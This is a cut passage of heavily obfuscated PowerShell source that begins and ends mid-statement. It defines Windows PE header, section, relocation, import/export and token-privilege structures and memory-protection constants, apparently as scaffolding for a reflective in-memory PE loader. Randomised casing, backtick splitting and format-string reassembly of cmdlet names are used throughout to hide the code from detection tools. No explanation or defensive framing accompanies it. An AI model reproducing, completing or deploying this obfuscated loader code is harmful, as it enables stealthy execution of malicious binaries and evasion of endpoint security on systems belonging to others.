(${T`YpeBu`iLDEr}."d`EfiNEfie`Ld"('CheckSum', [UInt32], 'Public'))."set`o`FfSEt"(64) | &("{1}{2}{0}"-f'-Null','Ou','t') (${t`yp`ebUIL`der}."de`FiN`efIeLD"('Subsystem', ${Su`Bs`Y`STE`mtYpe}, 'Public'))."S`etof`FSET"(68) | &("{0}{1}" -f'Out-N','ull') (${TY`Pe`BuILDeR}."DEfiN`E`F`Ield"('DllCharacteristics', ${dll`cHARa`cteR`is`TiC`Sty`pe}, 'Public'))."SEtOf`FSET"(70) | &("{0}{2}{1}"-f'Out-N','ll','u') (${TY`PEbUi`ldeR}."de`FiN`EFI`Eld"('SizeOfStackReserve', [UInt32], 'Public'))."s`etOf`F`sET"(72) | &("{0}{1}"-f'O','ut-Null') (${t`ypeBUild`eR}."D`EFInEFi`eLd"('SizeOfStackCommit', [UInt32], 'Public'))."se`TofFs`ET"(76) | &("{2}{1}{0}" -f'l','-Nul','Out') (${tY`pEbu`Ilder}."d`EFINefI`e`LD"('SizeOfHeapReserve', [UInt32], 'Public'))."s`EtOffset"(80) | &("{1}{0}"-f 'Null','Out-') (${T`Yp`eBuilDeR}."De`FinEf`ielD"('SizeOfHeapCommit', [UInt32], 'Public'))."s`etOf`FseT"(84) | &("{2}{1}{0}" -f 'll','u','Out-N') (${typ`E`BUi`lDeR}."Defi`NeFiE`lD"('LoaderFlags', [UInt32], 'Public'))."sE`TOf`FSET"(88) | &("{1}{0}"-f 'll','Out-Nu') (${Ty`peB`UIl`deR}."DefI`NeFIE`lD"('NumberOfRvaAndSizes', [UInt32], 'Public'))."sETOfF`SET"(92) | &("{1}{0}" -f'l','Out-Nul') (${T`ypebUil`der}."DEf`IN`EFIEld"('ExportTable', ${ImAgE_d`AtA`_`DIR`eCtOry}, 'Public'))."sEt`of`FSET"(96) | &("{2}{0}{1}" -f'Nu','ll','Out-') (${T`Yp`EB`Uilder}."dEfin`ef`iE`Ld"('ImportTable', ${imAgE`_dat`A_`dirE`cTORY}, 'Public'))."s`EtofFsEt"(104) | &("{2}{0}{1}"-f't','-Null','Ou') (${TYPEbU`il`Der}."dEf`iNEF`ielD"('ResourceTable', ${ima`G`e_dATA`_dire`CTO`Ry}, 'Public'))."SEt`o`F`FSET"(112) | &("{0}{1}"-f'O','ut-Null') (${tYpE`BuIL`dEr}."D`EfIn`eFiE`Ld"('ExceptionTable', ${IMage`_`dATA`_`diReCto`RY}, 'Public'))."SE`TOFfS`et"(120) | &("{1}{0}{2}"-f 'Nu','Out-','ll') (${TY`pE`BuIld`ER}."defiN`eFI`Eld"('CertificateTable', ${IMag`e_dAt`A`_DIrecTORY}, 'Public'))."seTOffs`eT"(128) | &("{2}{0}{1}"-f'u','ll','Out-N') (${TYP`EbUi`lD`eR}."dE`FI`NEf`iELd"('BaseRelocationTable', ${imAG`E`_d`A`TA_`DIR`eCtoRy}, 'Public'))."s`eTo`Ffset"(136) | &("{1}{2}{0}" -f 'Null','Out','-') (${TyP`eBUIld`Er}."defIn`e`Fi`eld"('Debug', ${I`MagE`_DAT`A_Di`REct`oRY}, 'Public'))."SETof`Fs`eT"(144) | &("{1}{2}{0}" -f'l','Out-','Nul') (${Typ`E`BuilDER}."D`efIN`efiELD"('Architecture', ${ImAge_`dat`A`_D`IREC`TOry}, 'Public'))."sET`ofF`set"(152) | &("{1}{0}{2}"-f'N','Out-','ull') (${tyPeB`UIl`dER}."D`eF`IneFi`Eld"('GlobalPtr', ${I`mA`Ge_`data`_D`iRECTOrY}, 'Public'))."SEto`F`FSet"(160) | &("{2}{0}{1}" -f'ut-Nu','ll','O') (${T`YPe`BuIlD`er}."dEf`I`N`EfiELD"('TLSTable', ${iMAg`E`_D`AT`A`_d`irECTory}, 'Public'))."Se`TOF`FseT"(168) | &("{1}{2}{0}" -f 'l','Out-Nu','l') (${t`Yp`Ebu`ILDeR}."D`eFI`NEF`IELd"('LoadConfigTable', ${i`m`AGE`_dAT`A_D`iReCtOrY}, 'Public'))."sE`TOFFsET"(176) | &("{2}{0}{1}"-f'l','l','Out-Nu') (${T`y`PeBUil`dER}."D`EFiNEfi`elD"('BoundImport', ${IMA`ge_DA`Ta`_dir`EC`T`orY}, 'Public'))."S`eto`FfsEt"(184) | &("{2}{1}{0}" -f'll','Nu','Out-') (${type`B`UIlD`Er}."dEfine`FI`ELD"('IAT', ${I`MAGe_dAta_D`I`REcTORY}, 'Public'))."Set`oF`FsEt"(192) | &("{0}{1}{2}"-f 'Out','-Nul','l') (${tY`pEb`UILDER}."DE`F`Ine`FiELD"('DelayImportDescriptor', ${I`MaGe_Da`TA`_dIrEc`TORy}, 'Public'))."setof`F`SEt"(200) | &("{1}{0}{2}" -f'-N','Out','ull') (${tY`PE`BuI`LdEr}."D`E`FIn`efiElD"('CLRRuntimeHeader', ${i`m`AG`E_Data_dirEC`Tory}, 'Public'))."sET`OffsET"(208) | &("{0}{1}"-f'Out-','Null') (${TY`PeBUiL`Der}."D`efin`efiEld"('Reserved', ${Im`AG`e`_D`A`T`A_dIRECToRY}, 'Public'))."SE`TOFF`set"(216) | &("{0}{1}"-f 'Out-Nu','ll') ${IMage_`OP`TION`AL`_HEAdEr32} = ${T`Ypeb`UIL`Der}."CREA`TeT`YPe"() ${WiN3`2t`yp`eS} | &("{0}{2}{1}" -f 'Add-M','mber','e') -MemberType ("{0}{1}{2}" -f'No','teProper','ty') -Name ("{1}{0}{4}{3}{5}{6}{2}" -f'A','IM','R32','OPTIO','GE_','NAL_','HEADE') -Value ${ImAgE`_OPtIOn`AL`_HEadEr`32} ${aTT`Rib`Utes} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' ${t`y`peb`UILDER} = ${MO`d`Ul`eb`UiLDEr}."de`FIN`ETypE"('IMAGE_NT_HEADERS64', ${atT`RIBu`TES}, [System.ValueType], 264) ${TYPe`BuI`LD`ER}."De`FInEF`i`elD"('Signature', [UInt32], 'Public') | &("{2}{1}{0}" -f'Null','ut-','O') ${Ty`Peb`U`IldEr}."DeFi`N`e`FielD"('FileHeader', ${iMage`_FiLE_`He`Ad`ER}, 'Public') | &("{0}{2}{1}" -f'Out','l','-Nul') ${TYPEb`U`IldER}."d`EFiNefI`eLD"('OptionalHeader', ${i`ma`gE_opTiO`N`Al_`hea`deR64}, 'Public') | &("{0}{2}{1}" -f 'Out-N','ll','u') ${im`A`Ge_NT_`H`eAdeRs`64} = ${tYPE`B`UILDEr}."C`R`EAT`eTYPe"() ${W`IN32`TyPeS} | &("{1}{2}{0}"-f '-Member','A','dd') -MemberType ("{0}{1}{3}{2}"-f 'No','tePro','erty','p') -Name ("{3}{1}{2}{4}{0}" -f 'S64','MAGE','_NT_HEAD','I','ER') -Value ${Im`Age_`NT`_HeadERS64} ${A`TTR`IBUtEs} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' ${tY`p`ebU`ILDEr} = ${modU`lEbui`lDer}."D`Efi`NEtyPE"('IMAGE_NT_HEADERS32', ${AT`T`RiBUTeS}, [System.ValueType], 248) ${t`ypebu`ilder}."dEFIN`eFi`elD"('Signature', [UInt32], 'Public') | &("{0}{2}{1}" -f'Ou','ull','t-N') ${T`YpeB`UiLdEr}."dEfin`E`FIeLD"('FileHeader', ${imag`e_FiL`e_hEad`Er}, 'Public') | &("{0}{1}{2}"-f'Out-','Nul','l') ${tyPEB`Ui`ld`ER}."De`Fi`N`eFIElD"('OptionalHeader', ${imaGe_OPTi`ON`AL`_`HeadeR32}, 'Public') | &("{2}{0}{1}" -f'ul','l','Out-N') ${Im`AGe`_nt`_hEadEr`s32} = ${t`YPebu`iL`DEr}."cR`EATeT`YpE"() ${W`I`N32Types} | &("{1}{0}{2}" -f'-Me','Add','mber') -MemberType ("{3}{0}{1}{2}"-f 'r','opert','y','NoteP') -Name ("{4}{0}{3}{2}{1}"-f 'MA','2','S3','GE_NT_HEADER','I') -Value ${i`MAge_`Nt_heADE`RS`32} ${a`TtrIBu`TeS} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' ${TyP`EBU`I`ldeR} = ${m`oDULEbuIl`der}."dEF`in`eTyPe"('IMAGE_DOS_HEADER', ${aTtrib`U`TEs}, [System.ValueType], 64) ${tYPe`B`UilD`eR}."D`EFinE`FieLd"('e_magic', [UInt16], 'Public') | &("{0}{2}{1}" -f 'Ou','l','t-Nul') ${T`ypEbui`LDER}."D`E`Fin`eFIeLd"('e_cblp', [UInt16], 'Public') | &("{1}{0}"-f 'll','Out-Nu') ${TyPEb`UI`LD`Er}."defIneFi`e`ld"('e_cp', [UInt16], 'Public') | &("{0}{1}"-f 'Out-Nul','l') ${TY`pEb`UILD`eR}."DE`F`InEFIElD"('e_crlc', [UInt16], 'Public') | &("{1}{2}{0}" -f 'll','O','ut-Nu') ${TYPEB`Uil`D`ER}."d`eF`inE`FiEld"('e_cparhdr', [UInt16], 'Public') | &("{2}{1}{0}" -f 'll','t-Nu','Ou') ${TyPE`B`UI`lDer}."d`E`FINEFiElD"('e_minalloc', [UInt16], 'Public') | &("{0}{1}" -f 'Out','-Null') ${typE`BUilD`er}."De`FINEFi`Eld"('e_maxalloc', [UInt16], 'Public') | &("{0}{2}{1}"-f'Out-N','l','ul') ${TYPeB`UI`lder}."DefIn`E`FieLD"('e_ss', [UInt16], 'Public') | &("{2}{1}{0}"-f'll','Nu','Out-') ${t`YP`EBUil`deR}."dEF`iNeFiE`Ld"('e_sp', [UInt16], 'Public') | &("{2}{1}{0}"-f'l','t-Nul','Ou') ${tyPEB`U`IlDer}."dEf`in`EfIELd"('e_csum', [UInt16], 'Public') | &("{0}{1}{2}" -f'O','ut-N','ull') ${tYP`eb`UiLdER}."d`eFIN`eFi`Eld"('e_ip', [UInt16], 'Public') | &("{2}{1}{0}" -f 'll','t-Nu','Ou') ${ty`p`EBuI`LDer}."DEfIN`eFIe`lD"('e_cs', [UInt16], 'Public') | &("{2}{0}{1}"-f'ut-','Null','O') ${tYpebUI`l`der}."d`eFIN`EfIEld"('e_lfarlc', [UInt16], 'Public') | &("{1}{2}{0}" -f'll','Out-N','u') ${t`YPeb`UildER}."d`EfiNefie`ld"('e_ovno', [UInt16], 'Public') | &("{0}{1}"-f 'Ou','t-Null') ${e_`ResFI`elD} = ${t`ypEBuIl`d`Er}."DEFin`efiE`Ld"('e_res', [UInt16[]], 'Public, HasFieldMarshal') ${CONS`TRuc`ToRv`AlUe} = [System.Runtime.InteropServices.UnmanagedType]::"ByVAl`ARR`AY" ${Fiel`daRr`AY} = @([System.Runtime.InteropServices.MarshalAsAttribute]."ge`T`FIeLd"('SizeConst')) ${AttR`ibbu`iL`d`ER} = &('a') ("{0}{2}{8}{4}{9}{5}{6}{1}{10}{7}{3}"-f'Sys','.Cus','te','ibuteBuilder','e','io','n.Emit','Attr','m.Refl','ct','tom')(${co`NS`TrUCTO`R`InfO}, ${cONSt`R`Uc`To`RValue}, ${Fi`EldA`RraY}, @([Int32] 4)) ${E`_REs`Fie`ld}."seTcUS`ToMatTRIb`U`TE"(${A`TTr`I`BBuiLd`eR}) ${t`y`pE`BuilDEr}."de`F`I`NEfiElD"('e_oemid', [UInt16], 'Public') | &("{1}{0}{2}"-f'ul','Out-N','l') ${t`YpEbu`i`lDEr}."d`E`FIn`EFiElD"('e_oeminfo', [UInt16], 'Public') | &("{0}{2}{1}" -f 'Ou','ll','t-Nu') ${E_reS2`FI`ELD} = ${ty`pEbUI`lD`Er}."deFI`NEFi`elD"('e_res2', [UInt16[]], 'Public, HasFieldMarshal') ${CO`NStRuctO`R`V`A`Lue} = [System.Runtime.InteropServices.UnmanagedType]::"BYVaL`A`RrAy" ${attri`BB`UI`ldER} = &('a') ("{2}{1}{8}{3}{11}{10}{5}{4}{6}{0}{7}{9}" -f 'ut','m.Re','Syste','ction.Emit.Cus','tri','At','b','eBuilde','fle','r','om','t')(${c`O`N`struC`ToRInFo}, ${CoN`StR`U`ctOrva`Lue}, ${FI`el`dArR`AY}, @([Int32] 10)) ${e_r`e`S2fIeLD}."sE`TC`UStomAttrIb`UTE"(${a`TtRi`BbUild`eR}) ${TY`PEbU`iLD`eR}."deFin`e`FiELD"('e_lfanew', [Int32], 'Public') | &("{1}{2}{0}" -f 'Null','O','ut-') ${I`MAGe`_`d`OS_Hea`dER} = ${t`YPeBu`iLD`Er}."cre`ATETy`pe"() ${Wi`N`3`2typES} | &("{2}{0}{1}" -f 'dd-M','ember','A') -MemberType ("{2}{3}{1}{0}" -f'perty','o','Not','ePr') -Name ("{0}{4}{2}{1}{3}"-f 'IMA','D','A','ER','GE_DOS_HE') -Value ${iMA`Ge`_DoS_He`Ad`ER} ${AtTrIb`UT`Es} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' ${T`Y`pe`BuIlDer} = ${mODu`L`e`BUilder}."D`efinEt`y`Pe"('IMAGE_SECTION_HEADER', ${aTT`RI`B`UTES}, [System.ValueType], 40) ${n`AMefIe`ld} = ${t`yPeBUiL`deR}."dEfIneFi`e`LD"('Name', [Char[]], 'Public, HasFieldMarshal') ${C`OnST`RU`cTOr`V`ALUE} = [System.Runtime.InteropServices.UnmanagedType]::"by`VAL`ArRay" ${a`TT`Ri`BBU`iLder} = &('a') ("{7}{3}{10}{2}{0}{8}{5}{6}{1}{4}{9}" -f 't.C','ibut','on.Emi','t','eBuil','sto','mAttr','Sys','u','der','em.Reflecti')(${COnstruc`T`o`Rin`FO}, ${co`Ns`TrucToRVaL`UE}, ${f`iEL`DARR`AY}, @([Int32] 8)) ${nAm`eFIE`lD}."SE`TcUSTo`M`AT`TR`iBUtE"(${attR`IbBu`I`ldER}) ${TYPEb`U`ilD`ER}."dEf`in`efIeLd"('VirtualSize', [UInt32], 'Public') | &("{0}{1}{2}" -f'Ou','t-N','ull') ${tyP`eBUI`ldeR}."de`F`inEfIElD"('VirtualAddress', [UInt32], 'Public') | &("{1}{2}{0}" -f'l','Out-N','ul') ${TY`PE`BuiL`dER}."D`e`FinEFIELd"('SizeOfRawData', [UInt32], 'Public') | &("{2}{1}{0}" -f'ull','ut-N','O') ${T`ypEbu`I`LdeR}."DEfi`NEfi`eLd"('PointerToRawData', [UInt32], 'Public') | &("{1}{2}{0}" -f 'ull','Ou','t-N') ${tYp`Eb`UilDEr}."dE`FI`NefIelD"('PointerToRelocations', [UInt32], 'Public') | &("{0}{1}{2}"-f'Out-N','u','ll') ${ty`Peb`UIld`er}."De`F`INEFIE`ld"('PointerToLinenumbers', [UInt32], 'Public') | &("{0}{2}{1}"-f'Out-','l','Nul') ${ty`p`e`BUiLdeR}."DEFINE`FI`e`lD"('NumberOfRelocations', [UInt16], 'Public') | &("{1}{2}{0}" -f'l','Out-N','ul') ${tY`Pe`B`UIlDeR}."deFin`eFI`E`ld"('NumberOfLinenumbers', [UInt16], 'Public') | &("{0}{2}{1}"-f 'Out-','ll','Nu') ${ty`P`eBu`iLdeR}."DefI`NEfiE`LD"('Characteristics', [UInt32], 'Public') | &("{1}{0}{2}"-f '-','Out','Null') ${im`A`GE_`Sec`TIo`N_`hEADer} = ${T`YpeBUILd`eR}."cReatE`T`ypE"() ${w`iN32T`yPeS} | &("{2}{0}{1}"-f'd','d-Member','A') -MemberType ("{0}{3}{2}{1}"-f 'N','perty','Pro','ote') -Name ("{1}{2}{3}{0}"-f 'HEADER','IMAGE_S','ECTION','_') -Value ${imaGE_S`e`CTiON_HE`AD`eR} ${aTTR`IBut`es} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' ${t`Yp`E`BUIlder} = ${mO`DuLEBu`ilDER}."DEF`i`NETY`PE"('IMAGE_BASE_RELOCATION', ${a`T`TRiBu`Tes}, [System.ValueType], 8) ${TYPE`B`U`iLDER}."D`efiNE`FIELd"('VirtualAddress', [UInt32], 'Public') | &("{0}{1}"-f 'Out-Nu','ll') ${T`YpeBu`IlDEr}."D`Ef`iNE`FieLd"('SizeOfBlock', [UInt32], 'Public') | &("{0}{2}{1}" -f'O','ll','ut-Nu') ${Imag`e_BAS`e_`RelOCAT`Ion} = ${tyP`EBUiLd`ER}."C`R`eaTEtyPE"() ${wI`N32TyP`ES} | &("{1}{2}{0}"-f'mber','A','dd-Me') -MemberType ("{3}{1}{0}{2}" -f'eProp','ot','erty','N') -Name ("{4}{1}{2}{3}{0}" -f'ATION','GE_BASE_','RELO','C','IMA') -Value ${iMA`Ge`_ba`SE_ReLOCAtI`oN} ${ATt`R`IBUTes} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' ${TYPeB`U`I`LDer} = ${moDULe`B`UILd`Er}."dEFIne`Ty`Pe"('IMAGE_IMPORT_DESCRIPTOR', ${at`TRI`BuTEs}, [System.ValueType], 20) ${TYpe`B`Uild`er}."DE`FInEFI`ELd"('Characteristics', [UInt32], 'Public') | &("{2}{0}{1}"-f'ut-N','ull','O') ${TYpEbu`I`lDeR}."dEfIn`EFI`E`lD"('TimeDateStamp', [UInt32], 'Public') | &("{0}{1}"-f 'Out-N','ull') ${t`yPEBUilD`eR}."D`EFIn`EfIE`LD"('ForwarderChain', [UInt32], 'Public') | &("{0}{2}{1}" -f'O','ull','ut-N') ${TY`PEbu`iL`dER}."DEF`InEFI`e`ld"('Name', [UInt32], 'Public') | &("{2}{0}{1}"-f 't-N','ull','Ou') ${t`ypE`BUI`LDER}."dEF`i`NefiELD"('FirstThunk', [UInt32], 'Public') | &("{0}{2}{1}" -f'Ou','-Null','t') ${i`maGe_`imP`O`RT_D`eScriP`Tor} = ${TYp`E`BuIlD`eR}."Cr`e`ATEtyPE"() ${WiN32T`Y`p`Es} | &("{0}{2}{1}" -f'Ad','er','d-Memb') -MemberType ("{3}{2}{1}{0}" -f 'rty','ope','r','NoteP') -Name ("{1}{0}{3}{2}" -f'GE_IMP','IMA','TOR','ORT_DESCRIP') -Value ${IMage`_i`MPORt_D`ESC`RiptOR} ${aT`TrI`Bu`TES} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' ${tYPe`Bu`ild`Er} = ${mO`dUL`e`BuiL`deR}."DEFiNeT`Y`pe"('IMAGE_EXPORT_DIRECTORY', ${a`TT`RIbUtES}, [System.ValueType], 40) ${TyPebuI`l`d`Er}."deFIn`Ef`I`ELD"('Characteristics', [UInt32], 'Public') | &("{2}{1}{0}" -f'Null','ut-','O') ${tyPeB`UiL`d`Er}."d`eF`iNEField"('TimeDateStamp', [UInt32], 'Public') | &("{0}{2}{1}"-f 'Out-N','ll','u') ${T`YPeb`UilD`er}."dEfi`Nefi`E`LD"('MajorVersion', [UInt16], 'Public') | &("{0}{1}"-f 'Out-Nul','l') ${t`yPEbUi`lD`er}."de`FiN`Ef`Ield"('MinorVersion', [UInt16], 'Public') | &("{2}{1}{0}" -f 'l','ul','Out-N') ${tyPeB`UI`LdEr}."dE`F`INeFI`ELD"('Name', [UInt32], 'Public') | &("{0}{1}{2}"-f'O','ut-','Null') ${T`YPE`BU`ildER}."d`eFIne`Fie`LD"('Base', [UInt32], 'Public') | &("{0}{1}{2}"-f 'Ou','t-N','ull') ${Ty`pE`BuIld`er}."de`FiNEfi`eLD"('NumberOfFunctions', [UInt32], 'Public') | &("{2}{1}{0}" -f 'l','Nul','Out-') ${T`Yp`Ebu`ILdeR}."DE`FiNeFie`LD"('NumberOfNames', [UInt32], 'Public') | &("{1}{0}{2}"-f'ut-N','O','ull') ${ty`P`eBuiLD`Er}."DeFin`E`FIELd"('AddressOfFunctions', [UInt32], 'Public') | &("{0}{2}{1}" -f 'Out','l','-Nul') ${TYpE`BuI`lD`Er}."DEF`in`EFIeLd"('AddressOfNames', [UInt32], 'Public') | &("{0}{2}{1}" -f 'Out','ull','-N') ${TYpe`B`Uil`der}."DEFINEf`I`eLd"('AddressOfNameOrdinals', [UInt32], 'Public') | &("{2}{0}{1}" -f 'Nul','l','Out-') ${im`A`G`E_`EXpORT_`diREctORy} = ${TYPE`B`UiLD`er}."crE`AT`ETypE"() ${win3`2T`YPEs} | &("{1}{2}{0}" -f'd-Member','A','d') -MemberType ("{0}{1}{2}{3}" -f 'N','otePr','op','erty') -Name ("{0}{4}{5}{2}{1}{3}"-f'IMAGE_EXP','R','T_DIRECTO','Y','O','R') -Value ${I`Ma`G`E`_e`xP`Ort_`DIrEctORy} ${ATt`Ri`Bu`Tes} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' ${typeBuI`l`DeR} = ${MOd`UlE`B`UILDer}."DE`FI`N`EtyPE"('LUID', ${aT`TR`IbU`TeS}, [System.ValueType], 8) ${t`y`peb`UiLDer}."de`F`iNeFiELd"('LowPart', [UInt32], 'Public') | &("{0}{1}{2}" -f'Out-','N','ull') ${t`yPeBuiL`dER}."DefI`NeFIe`LD"('HighPart', [UInt32], 'Public') | &("{2}{0}{1}" -f '-','Null','Out') ${l`UiD} = ${TYpebUiL`D`eR}."Cr`EAT`ETYpE"() ${Win3`2TYP`eS} | &("{0}{1}{2}" -f'Ad','d-Me','mber') -MemberType ("{2}{1}{0}" -f'rty','ePrope','Not') -Name ("{0}{1}" -f 'LUI','D') -Value ${Lu`id} ${At`Trib`Ut`ES} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' ${ty`Peb`UiL`DeR} = ${m`od`ULEBUIlD`eR}."d`eF`IneTY`pE"('LUID_AND_ATTRIBUTES', ${A`T`TrIBuTeS}, [System.ValueType], 12) ${tyPEb`U`iLdeR}."DE`F`i`NEFielD"('Luid', ${L`UID}, 'Public') | &("{2}{1}{0}"-f't-Null','u','O') ${t`Y`PebUI`LDER}."deFIN`E`FIe`Ld"('Attributes', [UInt32], 'Public') | &("{1}{0}{2}" -f 'l','Out-Nu','l') ${luiD`_`And_`A`Ttr`IbutEs} = ${TYPEBu`i`lDEr}."cREat`e`TYpE"() ${W`In`32TypEs} | &("{2}{1}{0}" -f'-Member','d','Ad') -MemberType ("{0}{2}{1}" -f 'NoteP','ty','roper') -Name ("{0}{1}{2}{3}{4}" -f 'L','UID_AN','D','_ATTRI','BUTES') -Value ${LU`ID_AnD_atTR`IbU`TeS} ${ATT`RI`Butes} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' ${t`yP`eBU`iLdeR} = ${MODu`Leb`UiLD`Er}."DeFinet`Y`pE"('TOKEN_PRIVILEGES', ${ATT`RIbU`Tes}, [System.ValueType], 16) ${typEb`UI`L`DER}."de`FI`N`efIEld"('PrivilegeCount', [UInt32], 'Public') | &("{1}{0}{2}" -f'-N','Out','ull') ${tYPEbu`I`l`Der}."DEF`I`N`EFiEld"('Privileges', ${LUID_a`N`D_aT`Tri`BUteS}, 'Public') | &("{0}{2}{1}" -f'Ou','ull','t-N') ${t`oke`N_`PRivIlEgEs} = ${tYpeB`UIld`er}."C`R`eATETyPe"() ${W`iN3`2typ`ES} | &("{2}{0}{1}"-f 'd-','Member','Ad') -MemberType ("{3}{2}{1}{0}" -f 'y','pert','o','NotePr') -Name ("{4}{2}{0}{1}{3}"-f'VI','LE','N_PRI','GES','TOKE') -Value ${t`ok`eN_p`RiviLe`G`eS} return ${WiN`32T`yP`Es} } Function Get-w`iN32`cOn`staNtS { ${W`i`N32CONSt`ANTs} = &('a') ("{3}{1}{0}{2}" -f'c','stem.Obje','t','Sy') ${WIn3`2`cO`N`sTaNTs} | &("{0}{2}{1}"-f 'Add-M','mber','e') -MemberType ("{1}{3}{0}{2}" -f'ropert','Note','y','P') -Name ("{0}{1}{2}{3}" -f'MEM','_C','OMM','IT') -Value 0x00001000 ${W`In32c`o`NstaNTS} | &("{0}{2}{1}"-f 'Add-M','er','emb') -MemberType ("{1}{2}{0}"-f 'perty','No','tePro') -Name ("{1}{2}{0}" -f'SERVE','MEM_','RE') -Value 0x00002000 ${w`i`N3`2CON`StANts} | &("{2}{1}{0}" -f'r','embe','Add-M') -MemberType ("{0}{1}{2}"-f'NotePr','oper','ty') -Name ("{3}{1}{2}{0}"-f'CCESS','AGE_NO','A','P') -Value 0x01 ${wIN`32CoN`sTa`NTs} | &("{2}{1}{0}" -f 'ber','dd-Mem','A') -MemberType ("{3}{0}{1}{2}"-f'roper','t','y','NoteP') -Name ("{1}{0}{2}" -f 'AGE_READO','P','NLY') -Value 0x02 ${win`32c`o`NsTANTs} | &("{2}{1}{0}"-f 'ember','dd-M','A') -MemberType ("{1}{0}{2}"-f'Proper','Note','ty') -Name ("{0}{2}{3}{1}" -f'PAGE','E','_READ','WRIT') -Value 0x04 ${Win3`2c`O`NsTAnts} | &("{2}{3}{1}{0}" -f 'er','emb','Add-','M') -MemberType ("{2}{0}{1}" -f'Propert','y','Note') -Name ("{2}{1}{0}" -f'Y','TECOP','PAGE_WRI') -Value 0x08 ${Win32C`OnSTaN`Ts} | &("{1}{0}{2}" -f'e','Add-Memb','r') -MemberType ("{1}{2}{3}{0}" -f 'erty','N','ote','Prop') -Name ("{2}{0}{1}"-f 'AGE','_EXECUTE','P') -Value 0x10 ${WI`N3`2ConstANTS} | &("{0}{2}{1}" -f 'A','er','dd-Memb') -MemberType ("{0}{3}{1}{2}" -f'N','te','Property','o') -Name ("{1}{0}{3}{2}{4}" -f'G','PA','XEC','E_E','UTE_READ') -Value 0x20 ${wIn32C`ons`T`AN`Ts} | &("{0}{1}{2}" -f'Ad','d-Mem','ber') -MemberType ("{1}{2}{0}{3}"-f 'r','NoteProp','e','ty') -Name ("{3}{1}{0}{2}"-f 'CUT','XE','E_READWRITE','PAGE_E') -Value 0x40 ${WI`N`32`CoNSt`ANTs} | &("{1}{0}{2}"-f '-Mem','Add','ber') -MemberType ("{0}{1}{2}" -f'Note','Pro','perty') -Name ("{2}{6}{0}{3}{1}{4}{5}" -f'E','E_WRI','PA','CUT','TECO','PY','GE_EX') -Value 0x80 ${W`IN32`CON`s`TanTs} | &("{2}{1}{0}"-f'-Member','dd','A') -MemberType ("{2}{0}{1}{3}"-f 'ePr','ope','Not','rty') -Name ("{1}{0}{2}"-f'E_NO','PAG','CACHE') -Value 0x200 ${W`in32co`Ns`TAntS} | &("{3}{1}{2}{0}" -f'mber','d-','Me','Ad') -MemberType ("{3}{0}{1}{2}"-f 'tePro','pe','rty','No') -Name ("{4}{2}{6}{5}{1}{0}{3}"-f '_A','ED','AG','BSOLUTE','IM','_BAS','E_REL') -Value 0 ${WiN`32co`NsT`A`NtS} | &("{1}{0}{2}"-f 'Me','Add-','mber') -MemberType ("{0}{2}{1}"-f 'No','eProperty','t') -Name ("{1}{4}{2}{5}{3}{0}" -f 'GHLOW','I','AGE_','SED_HI','M','REL_BA') -Value 3 ${wIN`3`2`c`ONSTaNTS} | &("{0}{2}{1}" -f'Add','r','-Membe') -MemberType ("{0}{1}{2}" -f 'NotePr','opert','y') -Name ("{4}{1}{0}{3}{2}{5}" -f'GE_','MA','BASED_D','REL_','I','IR64') -Value 10 ${w`i`N3`2cONSTAn`TS} | &("{1}{0}{2}" -f 'd','Ad','-Member') -MemberType ("{1}{0}{2}"-f 'P','Note','roperty') -Name ("{7}{3}{6}{0}{2}{5}{4}{1}" -f'_D','LE','IS','MAGE_SCN','RDAB','CA','_MEM','I') -Value 0x02000000 ${w`i`N32co`NSta`NTS} | &("{1}{0}{2}"-f 'd','A','d-Member') -MemberType ("{0}{2}{1}{3}" -f 'No','ropert','teP','y') -Name ("{2}{0}{4}{3}{1}"-f'_SCN_','UTE','IMAGE','XEC','MEM_E') -Value 0x20000000 ${wIn32Con`S`TA`NtS} | &("{1}{0}{2}"-f'dd-Mem','A','ber') -MemberType ("{0}{1}{2}{3}" -f 'N','oteProper','t','y') -Name ("{0}{4}{1}{2}{3}" -f'IMA','N','_MEM_REA','D','GE_SC') -Value 0x40000000 ${w`iN32CON`sTAn`Ts} | &("{1}{2}{0}{3}"-f'mb','Add','-Me','er') -MemberType ("{2}{0}{1}{3}" -f 'o','pert','NotePr','y') -Name ("{0}{3}{5}{4}{1}{2}" -f'IMA','RI','TE','GE_SCN_ME','W','M_') -Value 0x80000000 ${WiN32co`Ns`Ta`N`TS} | &("{1}{0}{2}"-f 'mbe','Add-Me','r') -MemberType ("{3}{0}{1}{2}"-f 'ro','p','erty','NoteP') -Name ("{0}{3}{2}{4}{1}"-f'IM','T_CACHED','CN_ME','AGE_S','M_NO') -Value 0x04000000 ${W`i`N`32ConstAntS} | &("{0}{1}{2}"-f 'A','dd-Me','mber') -MemberType ("{3}{0}{1}{2}"-f'pe','rt','y','NotePro') -Name ("{3}{0}{2}{1}"-f'E','OMMIT','C','MEM_D') -Value 0x4000 ${Win32`ConST`ANtS} | &("{1}{2}{0}" -f 'mber','Add','-Me') -MemberType ("{0}{1}{2}"-f'No','tePr','operty') -Name ("{6}{5}{1}{3}{7}{4}{8}{2}{0}"-f 'E','E_FILE_E','MAG','X','TABL','AG','IM','ECU','E_I') -Value 0x0002 ${w`In`32COnSTAn`Ts} | &("{1}{0}{2}" -f '-Memb','Add','er') -MemberType ("{2}{1}{0}"-f'roperty','teP','No') -Name ("{2}{1}{0}{3}" -f '_FILE_DL','AGE','IM','L') -Value 0x2000 ${wi`N32cO`Ns`T`ANTS} | &("{2}{0}{1}" -f 'em','ber','Add-M') -MemberType ("{0}{2}{1}{3}" -f 'Not','rt','ePrope','y') -Name ("{0}{2}{6}{7}{5}{1}{3}{4}" -f 'IMAG','M','E','IC_BAS','E','S_DYNA','_DLLC','HARACTERISTIC') -Value 0x40 ${Wi`N3`2`cONsta`Nts} | &("{0}{1}{2}"-f'Add','-Memb','er') -MemberType 